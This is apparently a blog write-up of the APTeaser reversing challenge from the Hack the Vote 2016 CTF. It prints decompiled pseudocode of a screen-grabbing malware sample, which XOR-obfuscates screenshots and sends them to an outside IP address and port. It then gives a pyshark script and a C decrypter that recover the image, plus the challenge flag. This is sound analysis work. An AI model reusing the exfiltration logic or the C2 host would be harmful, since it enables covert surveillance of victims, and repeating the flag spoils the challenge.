Just for fun I decided to have a go at the Hack the Vote 2016 CTF, particularly the reversing challenges on Windows. There were two of them APTeaser & Trumpervisor. I managed to solve the first. I did try the second but it involved reversing a Win 10 kernel driver implementing a hypervisor using the Intel Virtualization Extensions (VT-x). Anyway, here is a somewhat detailed writeup for the first.
Initial Analysis
The provided file is a pcapng. Opening it in fiddler, reveals an interesting http request for a supposed pdf file on the domain important.documents.trustme, but as indicated from the Content-Type the response is actually an executable.
Fig 1: Serving an executable when all I want is a pdf |
This can be further verified in wireshark as shown in Fig 2.
Fig 2: Cross checking in wireshark |
Fig 3: An exe with a pdf icon and dual extensions |
Dissecting the executable
The executable in question is a screen grabber. It takes screenshot of the desktop at regular intervals, saves to a jpeg file, "encrypts" the file, and sends it to a remove server. We can decompile it in hex-rays to get the following pseudo code.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [sp+0h] [bp-2Ch]@1
int v5; // [sp+10h] [bp-1Ch]@1
int x; // [sp+14h] [bp-18h]@1
int y; // [sp+18h] [bp-14h]@1
int x1; // [sp+1Ch] [bp-10h]@1
int y1; // [sp+20h] [bp-Ch]@1
SOCKET sock; // [sp+24h] [bp-8h]@2
int i; // [sp+28h] [bp-4h]@1
sub_401BF0(0, 0, 0);
GdiplusStartup(&v5, &v4, 0);
x1 = 0;
y1 = 0;
x = GetSystemMetrics(SM_CXSCREEN);
y = GetSystemMetrics(SM_CYSCREEN);
i = 0;
do
{
sock = create_socket();
if ( sock == SOCKET_ERROR )
{
++i;
Sleep(300u);
}
else
{
i = 0;
take_screenshot(x1, y1, x - x1, y - y1);
send_file(sock, "a");
destroy_socket(sock);
}
}
while ( i < 5 );
GdiplusShutdown(v5);
return 0;
}
As shown in the preceding snippet, it takes screencaps at regular intervals, and retrying for 5 times if socket creation fails. To get a better overview of the network traffic, we can analyse it using FakeNet-NG an excellent dynamic network analysis tool from Fireeye.
A quick overview of the network traffic
FakeNet-NG is an immensely helpful tool for dealing with malware/apps that uses the internet for communication. While tools like wireshark can only capture the traffic, fakenet additionally, also has the ability to mimic/emulate/tamper the responses via custom listeners implemented as plugins. On this particular sample, it has redirected an outbound request to 128.213.48.117:27015 to its default tcp listeners. Additionally, the name/pid of the application that initiated the request is also shown. The next point of interest the data that is actually being sent. It starts with the hex bytes 80 F4 FF E0. Now, a jpeg starts with FF D8 FF E0. Similarly the next 4 bytes, 43 4F 4A 46 bear strong resemblance to the true jpg header bytes xx xx 4A 46. From this, it can be easily deduced that a jpeg is being sent after applying some sort of "encryption" on the first two bytes of each dword.
The encryption algorithm
The encrypting functionality is implemented in the function send-file and is the subject of further analysis. The snippet of code that deals with the encryption is as follows.
completed = 0;
blocksize = 0;
while ( completed < filesize )
{
seed = get_time(0);
srand(seed);
if ( filesize - completed < 2048 )
blocksize = filesize - completed;
else
blocksize = 2048;
for ( i = 0; i < blocksize / 4; ++i )
{
randnum = rand();
if ( !i )
{
xored_val = randnum ^ *(jpeg_buf + completed);
v4 = std::basic_ostream<char,std::char_traits<char>>::operator<<(std::cerr, randnum, sub_403880, " ", *(jpeg_buf + completed), " ");
v5 = std::basic_ostream<char,std::char_traits<char>>::operator<<(v4);
v6 = sub_401040(v5, xored_val);
v7 = std::basic_ostream<char,std::char_traits<char>>::operator<<(v6, sub_401680, v13, *&v14, v15, v16);
v9 = sub_401040(v7, v8);
v11 = std::basic_ostream<char,std::char_traits<char>>::operator<<(v9, v10, *&v14, v15, v16, v17);
std::basic_ostream<char,std::char_traits<char>>::operator<<(v11);
}
*(jpeg_buf + 4 * i + completed) ^= randnum;
}
send(sock, jpeg_buf + completed, blocksize, 0);
completed += blocksize;
Sleep(Seed * completed % 3600);
}
The code initializes the random number using the current time as a seed to the function srand. Then it begins to xor the jpeg 4 bytes at a time with the generated random number in blocks of 2048 bytes, i.e it uses a new random number after every 2048 bytes. The range of the function rand lies between 0 and 32767 (0x7FFF). The upper two bytes are always zero. This explains the reason behind the fact that for every 4 bytes of the encrypted data, 2 bytes were always left unencrypted, as was found in fakenet.
Breaking the crypto
To break the crypto, we need to predict the generated random number, which depends on the seed used. The seed in turn is just the current time in epochs. Now each captured packet has a timestamp, we can use that value as a seed to srand to regenerate the exact same sequence of random numbers.
First we need to get the timestamps of the relevant packets. This can be done by setting a filter and exporting the resultant packets to a new pcap file as shown in Fig. 5
Fig 5: Applying a display filter in wireshark |
import pyshark
import cStringIO
cap = pyshark.FileCapture('filtered.pcap')
buf = cStringIO.StringIO()
rand_seeds = []
for pkt in cap:
buf.write(pkt.data.data.decode('hex')) # pkt.layers[3].data
rand_seeds.append(int(float(pkt.frame_info.time_epoch)))
open('encrypted.jpg', 'wb').write(buf.getvalue())
print rand_seeds
Once we have the encrypted jpeg and the seed values, we can create the decrypter in C.
#include <stdlib.h>
#include <stdio.h>
#include <conio.h>
void main()
{
int rand_seeds[] = {1460329071, 1460329074, 1460329077, 1460329080, 1460329084,
1460329084, 1460329087, 1460329090, 1460329091, 1460329093, 1460329096,
1460329100, 1460329102, 1460329105, 1460329109, 1460329111, 1460329112,
1460329114, 1460329115, 1460329117, 1460329121, 1460329121, 1460329123,
1460329125, 1460329128, 1460329131, 1460329133, 1460329135, 1460329136,
1460329140, 1460329141, 1460329142, 1460329145, 1460329148, 1460329150,
1460329154, 1460329154, 1460329154, 1460329158, 1460329158, 1460329160,
1460329161, 1460329161, 1460329165, 1460329165, 1460329167, 1460329168,
1460329170, 1460329171, 1460329172, 1460329173, 1460329174, 1460329175,
1460329178, 1460329180, 1460329182, 1460329182, 1460329184, 1460329185,
1460329186, 1460329187, 1460329190, 1460329191, 1460329192, 1460329194,
1460329197, 1460329197, 1460329198, 1460329199, 1460329200, 1460329202,
1460329202, 1460329203, 1460329203, 1460329205, 1460329207, 1460329210,
1460329210, 1460329213, 1460329215, 1460329217, 1460329218, 1460329220,
1460329220, 1460329222, 1460329225, 1460329227, 1460329230, 1460329232,
1460329234};
FILE *inf = fopen("encrypted.jpg", "rb");
FILE *outf = fopen("decrypted.jpg", "wb");
fseek(inf, 0, SEEK_END);
long size = ftell(inf);
rewind(inf);
for (int i = 0; i < 90; i++)
{
srand(rand_seeds[i]);
for (int j = 0; j < (size < 2048?size/4:2048/4); j++)
{
unsigned int data;
fread(&data, 4, 1, inf);
data ^= rand();
fwrite(&data, 4, 1, outf);
}
size -= 2048;
}
getch();
}
Running this we get the decrypted jpeg as shown in Fig 6. The flag is flag{1_n33d_my_t00Lb4r5}.
Fig 6: The flag |
Thanks for the really helpful and interesting article.
ReplyDelete